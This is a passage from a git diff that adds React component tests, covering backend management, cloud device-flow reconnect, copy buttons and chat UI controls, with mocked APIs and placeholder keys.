+        { id: "org-beta", name: "Beta Co" },
+      ],
+      currentOrgId: "org-acme",
+    });
+    vi.mocked(getCurrentCloudApiKey).mockImplementation(async (backend) => ({
+      orgId: backend?.apiKey === "key-acme" ? "org-acme" : "org-beta",
+      isLegacyKey: false,
+    }));
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "Production",
+            host: "https://app.all-hands.dev",
+            apiKey: "key-acme",
+            kind: "cloud",
+          });
+          ctx.addBackend({
+            name: "Production",
+            host: "https://app.all-hands.dev",
+            apiKey: "key-beta",
+            kind: "cloud",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} />
+      </TestSeed>,
+    );
+
+    // Each otherwise-identical row now surfaces its own bound organization.
+    expect(await screen.findByText("Acme Inc")).toBeInTheDocument();
+    expect(screen.getByText("Beta Co")).toBeInTheDocument();
+  });
+
+  it("labels a cloud backend's personal workspace instead of showing its raw org name", async () => {
+    const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+    vi.mocked(getCloudOrganizations).mockResolvedValue({
+      items: [{ id: personalOrgId, name: `user_${personalOrgId}_org` }],
+      currentOrgId: personalOrgId,
+    });
+    vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+      orgId: personalOrgId,
+      isLegacyKey: false,
+    });
+    // /me reports user_id === org_id, so the bound org is the user's personal
+    // workspace and must render the friendly label, not the backend-side name.
+    vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+      orgId: personalOrgId,
+      userId: personalOrgId,
+      role: null,
+    });
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "Production",
+            host: "https://app.all-hands.dev",
+            apiKey: "bearer-key",
+            kind: "cloud",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} />
+      </TestSeed>,
+    );
+
+    expect(
+      await screen.findByText("BACKEND$PERSONAL_WORKSPACE"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByText(`user_${personalOrgId}_org`),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not render an organization line for a local backend", async () => {
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "Acme Local",
+            host: "http://localhost:9000",
+            apiKey: "k",
+            kind: "local",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} />
+      </TestSeed>,
+    );
+
+    expect(
+      await screen.findByTestId("manage-backends-row-Acme Local"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("manage-backends-org-Acme Local"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("captures backend_added with source manage_backends_modal when adding from here", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(<ManageBackendsModal onClose={vi.fn()} />);
+
+    await user.click(await screen.findByTestId("manage-backends-add"));
+    await screen.findByTestId("add-backend-modal");
+    await user.click(screen.getByTestId("add-backend-option-agent-server"));
+
+    await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "http://localhost:8000",
+    );
+    await user.type(screen.getByTestId("add-backend-api-key"), "sk-local");
+    await user.click(screen.getByTestId("add-backend-submit"));
+
+    await waitFor(() =>
+      expect(captureMock).toHaveBeenCalledWith(
+        "backend_added",
+        expect.objectContaining({ source: "manage_backends_modal" }),
+      ),
+    );
+  });
+
+  it("does not capture backend_added when editing an existing backend", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "Acme Local",
+            host: "http://localhost:9000",
+            apiKey: "old-key",
+            kind: "local",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} />
+      </TestSeed>,
+    );
+
+    await user.click(
+      await screen.findByTestId("manage-backends-edit-Acme Local"),
+    );
+    await screen.findByTestId("edit-backend-modal");
+    const hostInput = screen.getByTestId("edit-backend-host");
+    await user.clear(hostInput);
+    await user.type(hostInput, "http://localhost:9999");
+    await user.click(screen.getByTestId("edit-backend-submit"));
+
+    await waitFor(() =>
+      expect(
+        screen.queryByTestId("edit-backend-modal"),
+      ).not.toBeInTheDocument(),
+    );
+    expect(captureMock).not.toHaveBeenCalledWith(
+      "backend_added",
+      expect.anything(),
+    );
+  });
+  it("uses Cloud reconnect recovery controls when locked to Cloud", async () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    const user = userEvent.setup();
+    vi.spyOn(window, "open").mockReturnValue({
+      closed: false,
+      close: vi.fn(),
+      location: { href: "" },
+    } as unknown as Window);
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "expired-token",
+            kind: "cloud",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} recoveryMode />
+      </TestSeed>,
+    );
+
+    expect(
+      await screen.findByRole("heading", {
+        name: "BACKEND$RECONNECT_CLOUD_TITLE",
+      }),
+    ).toBeInTheDocument();
+    expect(screen.queryByTestId("manage-backends-add")).not.toBeInTheDocument();
+
+    const reconnectButton = await screen.findByTestId(
+      "manage-backends-reconnect-cloud-login-button",
+    );
+    expect(reconnectButton).toHaveTextContent("BACKEND$RECONNECT_CLOUD");
+
+    await user.click(reconnectButton);
+    expect(deviceFlowMocks.startDeviceFlow).toHaveBeenCalledWith(
+      "https://app.all-hands.dev",
+    );
+  });
+
+  it("updates the locked Cloud backend token when reconnect succeeds", async () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    deviceFlowMocks.pollForToken.mockResolvedValue({
+      access_token: "fresh-cloud-token",
+      token_type: "Bearer",
+    });
+    const user = userEvent.setup();
+    vi.spyOn(window, "open").mockReturnValue({
+      closed: false,
+      close: vi.fn(),
+      location: { href: "" },
+    } as unknown as Window);
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "expired-token",
+            kind: "cloud",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} recoveryMode />
+      </TestSeed>,
+    );
+
+    await user.click(
+      await screen.findByTestId(
+        "manage-backends-reconnect-cloud-login-button",
+      ),
+    );
+
+    await waitFor(() => {
+      const stored = JSON.parse(
+        window.localStorage.getItem("openhands-backends") ?? "[]",
+      );
+      expect(stored).toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({
+            name: "OpenHands Cloud",
+            apiKey: "fresh-cloud-token",
+          }),
+        ]),
+      );
+    });
+    expect(
+      screen.queryByTestId("manage-backends-reconnect-cloud-auth-modal"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("keeps locked Cloud recovery open when reconnect authorization fails", async () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    deviceFlowMocks.pollForToken.mockRejectedValue(
+      new Error("Authorization request was denied."),
+    );
+    const user = userEvent.setup();
+    vi.spyOn(window, "open").mockReturnValue({
+      closed: false,
+      close: vi.fn(),
+      location: { href: "" },
+    } as unknown as Window);
+
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "expired-token",
+            kind: "cloud",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} recoveryMode />
+      </TestSeed>,
+    );
+
+    await user.click(
+      await screen.findByTestId(
+        "manage-backends-reconnect-cloud-login-button",
+      ),
+    );
+
+    expect(
+      await screen.findByTestId("manage-backends-reconnect-cloud-auth-error"),
+    ).toHaveTextContent("Authorization request was denied.");
+    expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument();
+  });
+
+  it("hides the Cloud reconnect controls when the locked backend uses cookie auth", async () => {
+    // Arrange: an OHE-hosted Canvas — locked to Cloud, but the backend is
+    // authenticated by the main-app session cookie, not a device-flow key.
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+
+    // Act
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "",
+            kind: "cloud",
+            authMode: "cookie",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} recoveryMode />
+      </TestSeed>,
+    );
+
+    // Assert
+    expect(
+      await screen.findByRole("heading", { name: "BACKEND$MANAGE_TITLE" }),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("manage-backends-reconnect-cloud-login-button"),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByTestId("manage-backends-add")).not.toBeInTheDocument();
+  });
+
+  it("does not offer the device-flow login for a logged-out cookie-auth backend", async () => {
+    // Arrange: the main-app session cookie has expired, so the Cloud probe
+    // reports the backend as logged out.
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    vi.mocked(getCloudOrganizations).mockRejectedValue(
+      Object.assign(new Error("Unauthorized"), {
+        isAxiosError: true,
+        response: { status: 401 },
+      }),
+    );
+
+    // Act
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "",
+            kind: "cloud",
+            authMode: "cookie",
+          });
+        }}
+      >
+        <ManageBackendsModal onClose={vi.fn()} recoveryMode />
+      </TestSeed>,
+    );
+
+    // Assert
+    await waitFor(() =>
+      expect(
+        screen.getByTestId("manage-backends-status-OpenHands Cloud"),
+      ).toHaveTextContent("BACKEND$LOGGED_OUT"),
+    );
+    expect(
+      screen.queryByTestId(/^manage-backends-login-.*-login-button$/),
+    ).not.toBeInTheDocument();
+  });
+});
+
+function renderInQueryClient(ui: React.ReactElement) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>{ui}</QueryClientProvider>,
+  );
+}
+
+const cloudBackend: Backend = {
+  id: "backend-cloud",
+  name: "Acme Cloud",
+  host: "https://app.acme.com",
+  apiKey: "sk-test",
+  kind: "cloud",
+};
+
+// Focused coverage for the two components extracted out of this file. The
+// ManageBackendsModal suite above already exercises them through the modal;
+// these assert behavior unique to each extracted component, rendered without
+// ActiveBackendProvider so no seeded-backend health probe interferes.
+describe("BackendVersion", () => {
+  it("renders no version badge and skips the probe for a non-local backend", () => {
+    // The version probe is gated on `kind === "local"`, so a cloud backend
+    // never fetches or shows a version.
+    renderInQueryClient(<BackendVersion backend={cloudBackend} />);
+
+    expect(
+      screen.queryByTestId(`manage-backends-version-${cloudBackend.name}`),
+    ).not.toBeInTheDocument();
+    expect(getServerInfoMock).not.toHaveBeenCalled();
+  });
+});
+
+describe("BackendRow", () => {
+  it("disables row selection when the backend is not connected", () => {
+    renderInQueryClient(
+      <ul>
+        <BackendRow
+          backend={cloudBackend}
+          health={undefined}
+          onSelect={vi.fn()}
+          onEdit={vi.fn()}
+          onRemove={vi.fn()}
+        />
+      </ul>,
+    );
+
+    const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+    const selectButton = within(row)
+      .getByText(cloudBackend.name)
+      .closest("button");
+    expect(selectButton).toBeDisabled();
+  });
+
+  it("shows a logged-out cloud status with a log back in button", () => {
+    const onLogin = vi.fn();
+
+    renderInQueryClient(
+      <ul>
+        <BackendRow
+          backend={cloudBackend}
+          health={{
+            isConnected: false,
+            consecutiveFailures: 1,
+            lastError: CLOUD_BACKEND_LOGGED_OUT_ERROR,
+            disabled: false,
+          }}
+          onSelect={vi.fn()}
+          onEdit={vi.fn()}
+          onRemove={vi.fn()}
+          onLogin={onLogin}
+        />
+      </ul>,
+    );
+
+    expect(
+      screen.getByTestId(`manage-backends-status-${cloudBackend.name}`),
+    ).toHaveTextContent("BACKEND$LOGGED_OUT");
+    expect(
+      screen.queryByTestId(
+        `manage-backends-status-detail-${cloudBackend.name}`,
+      ),
+    ).not.toBeInTheDocument();
+    const loginButton = screen.getByTestId(
+      `manage-backends-login-${cloudBackend.id}-login-button`,
+    );
+    expect(loginButton).toHaveAccessibleName("BACKEND$LOG_BACK_IN");
+    expect(loginButton).not.toHaveTextContent("BACKEND$LOG_BACK_IN");
+    expect(loginButton.querySelector("svg")).toBeInTheDocument();
+    expect(loginButton).toHaveClass("hover:bg-interactive-hover");
+    expect(loginButton).not.toHaveClass("border");
+    expect(loginButton).not.toHaveClass("bg-primary");
+  });
+
+  it("shows device authorization in a modal instead of expanding the row", async () => {
+    const user = userEvent.setup();
+    const popup = {
+      closed: false,
+      close: vi.fn(),
+      location: { href: "" },
+    } as unknown as Window;
+    vi.spyOn(window, "open").mockReturnValue(popup);
+
+    renderInQueryClient(
+      <ul>
+        <BackendRow
+          backend={cloudBackend}
+          health={{
+            isConnected: false,
+            consecutiveFailures: 1,
+            lastError: CLOUD_BACKEND_LOGGED_OUT_ERROR,
+            disabled: false,
+          }}
+          onSelect={vi.fn()}
+          onEdit={vi.fn()}
+          onRemove={vi.fn()}
+          onLogin={vi.fn()}
+        />
+      </ul>,
+    );
+
+    const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+    await user.click(
+      screen.getByTestId(
+        `manage-backends-login-${cloudBackend.id}-login-button`,
+      ),
+    );
+
+    const modal = await screen.findByTestId(
+      `manage-backends-login-${cloudBackend.id}-auth-modal`,
+    );
+    expect(
+      await within(modal).findByTestId(
+        `manage-backends-login-${cloudBackend.id}-auth-awaiting`,
+      ),
+    ).toBeInTheDocument();
+    expect(
+      within(row).queryByTestId(
+        `manage-backends-login-${cloudBackend.id}-auth-awaiting`,
+      ),
+    ).not.toBeInTheDocument();
+    expect(deviceFlowMocks.startDeviceFlow).toHaveBeenCalledWith(
+      cloudBackend.host,
+    );
+  });
+
+  it("renders edit and remove buttons when the deployment is not locked to a cloud host", async () => {
+    // The repo's .env may set VITE_LOCK_TO_CLOUD; clear it explicitly so this
+    // test exercises the unlocked code path regardless of local env state.
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+    const user = userEvent.setup();
+    const onEdit = vi.fn();
+    const onRemove = vi.fn();
+
+    renderInQueryClient(
+      <ul>
+        <BackendRow
+          backend={cloudBackend}
+          health={{
+            isConnected: true,
+            consecutiveFailures: 0,
+            lastError: null,
+            disabled: false,
+          }}
+          onSelect={vi.fn()}
+          onEdit={onEdit}
+          onRemove={onRemove}
+        />
+      </ul>,
+    );
+
+    const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+    const editButton = within(row).getByTestId(
+      `manage-backends-edit-${cloudBackend.name}`,
+    );
+    const removeButton = within(row).getByTestId(
+      `manage-backends-remove-${cloudBackend.name}`,
+    );
+
+    expect(editButton).toHaveAccessibleName("BACKEND$EDIT");
+    expect(removeButton).toHaveAccessibleName("BACKEND$REMOVE");
+
+    await user.click(editButton);
+    await user.click(removeButton);
+    expect(onEdit).toHaveBeenCalledTimes(1);
+    expect(onRemove).toHaveBeenCalledTimes(1);
+  });
+
+  it("hides edit and remove buttons when locked to a cloud host via VITE_LOCK_TO_CLOUD", () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com");
+    const onEdit = vi.fn();
+    const onRemove = vi.fn();
+
+    renderInQueryClient(
+      <ul>
+        <BackendRow
+          backend={cloudBackend}
+          health={{
+            isConnected: true,
+            consecutiveFailures: 0,
+            lastError: null,
+            disabled: false,
+          }}
+          onSelect={vi.fn()}
+          onEdit={onEdit}
+          onRemove={onRemove}
+        />
+      </ul>,
+    );
+
+    const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+    expect(
+      within(row).queryByTestId(`manage-backends-edit-${cloudBackend.name}`),
+    ).not.toBeInTheDocument();
+    expect(
+      within(row).queryByTestId(`manage-backends-remove-${cloudBackend.name}`),
+    ).not.toBeInTheDocument();
+  });
+
+  it("hides edit and remove buttons when locked to a cloud host via window.__AGENT_CANVAS_LOCK_TO_CLOUD__", () => {
+    (
+      window as unknown as Record<string, unknown>
+    ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://cloud.example.com";
+
+    renderInQueryClient(
+      <ul>
+        <BackendRow
+          backend={cloudBackend}
+          health={{
+            isConnected: true,
+            consecutiveFailures: 0,
+            lastError: null,
+            disabled: false,
+          }}
+          onSelect={vi.fn()}
+          onEdit={vi.fn()}
+          onRemove={vi.fn()}
+        />
+      </ul>,
+    );
+
+    const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+    expect(
+      within(row).queryByTestId(`manage-backends-edit-${cloudBackend.name}`),
+    ).not.toBeInTheDocument();
+    expect(
+      within(row).queryByTestId(`manage-backends-remove-${cloudBackend.name}`),
+    ).not.toBeInTheDocument();
+    // Row identity (name + host) is still rendered so the user can see the
+    // locked backend is selected, just not mutate it.
+    expect(within(row).getByText(cloudBackend.name)).toBeInTheDocument();
+    expect(within(row).getByText(cloudBackend.host)).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/buttons/circle-plus-check-toggle.test.tsx b/__tests__/components/buttons/circle-plus-check-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..98fa27147f7374c41319e7215e6fdd599160a7b0
--- /dev/null
+++ b/__tests__/components/buttons/circle-plus-check-toggle.test.tsx
@@ -0,0 +1,122 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import {
+  CirclePlusBadge,
+  CirclePlusCheckToggle,
+} from "#/components/shared/buttons/circle-plus-check-toggle";
+
+describe("CirclePlusBadge", () => {
+  it("renders a decorative plus with hover styles and tooltip", () => {
+    render(
+      <CirclePlusBadge testId="automation-plus" />,
+    );
+
+    const plusBadge = screen.getByTestId("automation-plus");
+    expect(plusBadge.tagName).toBe("SPAN");
+    expect(plusBadge).toHaveAttribute("aria-hidden", "true");
+    expect(plusBadge.className).toContain("hover:bg-[var(--oh-interactive-hover)]");
+    expect(plusBadge.className).not.toContain("group-hover/card");
+  });
+});
+
+describe("CirclePlusCheckToggle", () => {
+  it("toggles between plus and checkmark states", async () => {
+    const user = userEvent.setup();
+    const onToggle = vi.fn();
+
+    const { rerender } = render(
+      <CirclePlusCheckToggle
+        testId="skill-toggle"
+        isSelected={false}
+        onToggle={onToggle}
+      />,
+    );
+
+    const toggle = screen.getByTestId("skill-toggle");
+    expect(toggle).toHaveAttribute("aria-checked", "false");
+    expect(toggle).toHaveAttribute(
+      "aria-label",
+      "SETTINGS$SKILLS_ENABLE_SKILL",
+    );
+
+    await user.click(toggle);
+    expect(onToggle).toHaveBeenCalledWith(true);
+
+    rerender(
+      <CirclePlusCheckToggle
+        testId="skill-toggle"
+        isSelected
+        onToggle={onToggle}
+      />,
+    );
+
+    expect(toggle).toHaveAttribute("aria-checked", "true");
+    expect(toggle).toHaveAttribute(
+      "aria-label",
+      "SETTINGS$SKILLS_DISABLE_SKILL",
+    );
+
+    await user.click(toggle);
+    expect(onToggle).toHaveBeenCalledWith(false);
+  });
+
+  it("shows a remove icon on hover when selected", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <CirclePlusCheckToggle
+        testId="skill-toggle"
+        isSelected
+        onToggle={vi.fn()}
+      />,
+    );
+
+    const toggle = screen.getByTestId("skill-toggle");
+    expect(toggle).toHaveAttribute("data-showing-remove", "false");
+    expect(toggle.className).toContain("border-white");
+    expect(toggle.className).not.toContain("bg-white");
+
+    await user.hover(toggle);
+    expect(toggle).toHaveAttribute("data-showing-remove", "true");
+
+    await user.unhover(toggle);
+    expect(toggle).toHaveAttribute("data-showing-remove", "false");
+  });
+
+  it("does not show remove styling for keyboard focus alone", () => {
+    render(
+      <CirclePlusCheckToggle
+        testId="skill-toggle"
+        isSelected
+        onToggle={vi.fn()}
+      />,
+    );
+
+    const toggle = screen.getByTestId("skill-toggle");
+    toggle.focus();
+
+    expect(toggle).toHaveAttribute("data-showing-remove", "false");
+  });
+
+  it("stops click propagation for nested card handlers", async () => {
+    const user = userEvent.setup();
+    const onCardClick = vi.fn();
+    const onToggle = vi.fn();
+
+    render(
+      <div role="button" tabIndex={0} onClick={onCardClick}>
+        <CirclePlusCheckToggle
+          testId="skill-toggle"
+          isSelected={false}
+          onToggle={onToggle}
+        />
+      </div>,
+    );
+
+    await user.click(screen.getByTestId("skill-toggle"));
+
+    expect(onToggle).toHaveBeenCalledWith(true);
+    expect(onCardClick).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/buttons/copy-to-clipboard.test.tsx b/__tests__/components/buttons/copy-to-clipboard.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5777f584de7531627dec84d701302a787ea8e2d5
--- /dev/null
+++ b/__tests__/components/buttons/copy-to-clipboard.test.tsx
@@ -0,0 +1,40 @@
+import { render, screen } from "@testing-library/react";
+import { test, expect, describe, vi } from "vitest";
+import { CopyToClipboardButton } from "#/components/shared/buttons/copy-to-clipboard-button";
+
+// Mock react-i18next
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+describe("CopyToClipboardButton", () => {
+  test("should have localized aria-label", () => {
+    render(
+      <CopyToClipboardButton
+        isHidden={false}
+        isDisabled={false}
+        onClick={() => {}}
+        mode="copy"
+      />
+    );
+
+    const button = screen.getByTestId("copy-to-clipboard");
+    expect(button).toHaveAttribute("aria-label", "BUTTON$COPY");
+  });
+
+  test("should have localized aria-label when copied", () => {
+    render(
+      <CopyToClipboardButton
+        isHidden={false}
+        isDisabled={false}
+        onClick={() => {}}
+        mode="copied"
+      />
+    );
+
+    const button = screen.getByTestId("copy-to-clipboard");
+    expect(button).toHaveAttribute("aria-label", "BUTTON$COPIED");
+  });
+});
diff --git a/__tests__/components/buttons/copyable-content-wrapper.test.tsx b/__tests__/components/buttons/copyable-content-wrapper.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7c7aaee48ba281f31fced624a2561b16b5062d01
--- /dev/null
+++ b/__tests__/components/buttons/copyable-content-wrapper.test.tsx
@@ -0,0 +1,60 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect } from "vitest";
+import { CopyableContentWrapper } from "#/components/shared/buttons/copyable-content-wrapper";
+
+describe("CopyableContentWrapper", () => {
+  it("should hide the copy button by default", () => {
+    render(
+      <CopyableContentWrapper text="hello">
+        <p>content</p>
+      </CopyableContentWrapper>,
+    );
+
+    expect(screen.getByTestId("copy-to-clipboard")).not.toBeVisible();
+  });
+
+  it("should show the copy button on hover", async () => {
+    const user = userEvent.setup();
+    render(
+      <CopyableContentWrapper text="hello">
+        <p>content</p>
+      </CopyableContentWrapper>,
+    );
+
+    await user.hover(screen.getByText("content"));
+
+    expect(screen.getByTestId("copy-to-clipboard")).toBeVisible();
+  });
+
+  it("should copy text to clipboard on click", async () => {
+    const user = userEvent.setup();
+    render(
+      <CopyableContentWrapper text="copy me">
+        <p>content</p>
+      </CopyableContentWrapper>,
+    );
+
+    await user.click(screen.getByTestId("copy-to-clipboard"));
+
+    await waitFor(() =>
+      expect(navigator.clipboard.readText()).resolves.toBe("copy me"),
+    );
+  });
+
+  it("should show copied state after clicking", async () => {
+    const user = userEvent.setup();
+    render(
+      <CopyableContentWrapper text="hello">
+        <p>content</p>
+      </CopyableContentWrapper>,
+    );
+
+    await user.click(screen.getByTestId("copy-to-clipboard"));
+
+    expect(screen.getByTestId("copy-to-clipboard")).toHaveAttribute(
+      "aria-label",
+      "BUTTON$COPIED",
+    );
+  });
+});
diff --git a/__tests__/components/chat/btw-messages.test.tsx b/__tests__/components/chat/btw-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..048cefbdcc465ee676f9098a39d2c7c51fdc4259
--- /dev/null
+++ b/__tests__/components/chat/btw-messages.test.tsx
@@ -0,0 +1,70 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it } from "vitest";
+import { BtwMessages } from "#/components/features/chat/btw-messages";
+import { I18nKey } from "#/i18n/declaration";
+import { useBtwStore } from "#/stores/btw-store";
+
+const CONV = "conv-1";
+const entriesFor = (c: string) =>
+  useBtwStore.getState().entriesByConversation[c] ?? [];
+
+describe("<BtwMessages />", () => {
+  beforeEach(() => {
+    useBtwStore.setState({ entriesByConversation: {} });
+  });
+
+  it("renders spinner and no Got it button while pending", () => {
+    useBtwStore.getState().addPending(CONV, "why?");
+    render(<BtwMessages conversationId={CONV} />);
+    expect(screen.getByText("why?")).toBeInTheDocument();
+    expect(screen.getByTestId("btw-spinner")).toBeInTheDocument();
+    expect(
+      screen.queryByRole("button", {
+        name: I18nKey.CHAT_INTERFACE$BTW_GOT_IT,
+      }),
+    ).toBeNull();
+  });
+
+  it("renders the response and a Got it button that dismisses on click", async () => {
+    const id = useBtwStore.getState().addPending(CONV, "why?");
+    useBtwStore.getState().resolve(CONV, id, "because");
+    const user = userEvent.setup();
+    render(<BtwMessages conversationId={CONV} />);
+    expect(screen.getByText(/because/i)).toBeInTheDocument();
+    await user.click(
+      screen.getByRole("button", {
+        name: I18nKey.CHAT_INTERFACE$BTW_GOT_IT,
+      }),
+    );
+    expect(entriesFor(CONV)).toEqual([]);
+  });
+
+  it("does not render entries from other conversations", () => {
+    useBtwStore.getState().addPending("other-conv", "not mine");
+    const { container } = render(<BtwMessages conversationId={CONV} />);
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders BTW prefix and pending details through translation keys", async () => {
+    useBtwStore.getState().addPending(CONV, "why?");
+    const user = userEvent.setup();
+    render(<BtwMessages conversationId={CONV} />);
+    expect(
+      screen.getByText(I18nKey.CHAT_INTERFACE$BTW_PREFIX),
+    ).toBeInTheDocument();
+    await user.click(screen.getByRole("button", { name: /expand/i }));
+    expect(
+      screen.getByText(I18nKey.CHAT_INTERFACE$BTW_WAITING_FOR_ANSWER),
+    ).toBeInTheDocument();
+  });
+
+  it("does not render the pending-state translation key once the entry has resolved", () => {
+    const id = useBtwStore.getState().addPending(CONV, "why?");
+    useBtwStore.getState().resolve(CONV, id, "because");
+    render(<BtwMessages conversationId={CONV} />);
+    expect(
+      screen.queryByText(I18nKey.CHAT_INTERFACE$BTW_WAITING_FOR_ANSWER),
+    ).toBeNull();
+  });
+});
diff --git a/__tests__/components/chat/chat-add-file-button.test.tsx b/__tests__/components/chat/chat-add-file-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6dc767bae01272cc363cb5292aa045108aacf16d
--- /dev/null
+++ b/__tests__/components/chat/chat-add-file-button.test.tsx
@@ -0,0 +1,76 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { ChatAddFileButton } from "#/components/features/chat/chat-add-file-button";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({ data: undefined }),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: undefined }),
+}));
+
+vi.mock("#/hooks/use-conversation-name-context-menu", () => ({
+  useConversationNameContextMenu: () => ({
+    handleShowAgentTools: vi.fn(),
+    handleShowSkills: vi.fn(),
+    handleShowHooks: vi.fn(),
+    systemModalVisible: false,
+    setSystemModalVisible: vi.fn(),
+    skillsModalVisible: false,
+    setSkillsModalVisible: vi.fn(),
+    hooksModalVisible: false,
+    setHooksModalVisible: vi.fn(),
+    systemMessage: null,
+    shouldShowAgentTools: true,
+    shouldShowHooks: false,
+  }),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => ({ providers: [] }),
+}));
+
+describe("ChatAddFileButton", () => {
+  it("uses the translated aria-label for the plus menu trigger", () => {
+    render(<ChatAddFileButton handleFileIconClick={vi.fn()} />);
+
+    const button = screen.getByTestId("chat-plus-button");
+    expect(button).toHaveAttribute("aria-label", I18nKey.CHAT_INTERFACE$PLUS_MENU);
+    expect(button).toHaveAttribute("aria-haspopup", "menu");
+  });
+
+  it("opens the tools menu and invokes handleFileIconClick from the footer item", async () => {
+    const user = userEvent.setup();
+    const handleFileIconClick = vi.fn();
+
+    render(<ChatAddFileButton handleFileIconClick={handleFileIconClick} />);
+
+    await user.click(screen.getByTestId("chat-plus-button"));
+    expect(screen.getByTestId("tools-context-menu")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("add-files-and-images-button"));
+    expect(handleFileIconClick).toHaveBeenCalledTimes(1);
+  });
+
+  it("does not open the menu or invoke the file handler when disabled", async () => {
+    const user = userEvent.setup();
+    const handleFileIconClick = vi.fn();
+
+    render(
+      <ChatAddFileButton
+        handleFileIconClick={handleFileIconClick}
+        disabled
+      />,
+    );
+
+    const button = screen.getByTestId("chat-plus-button");
+    expect(button).toBeDisabled();
+
+    await user.click(button);
+    expect(screen.queryByTestId("tools-context-menu")).not.toBeInTheDocument();
+    expect(handleFileIconClick).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/chat/chat-interface.test.tsx b/__tests__/components/chat/chat-interface.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..119c57052b784a8b63ee523aef7d810f976050fd
--- /dev/null
+++ b/__tests__/components/chat/chat-interface.test.tsx
@@ -0,0 +1,1149 @@
+import { afterEach, beforeEach, describe, expect, it, test, vi } from "vitest";
+import {
+  fireEvent,
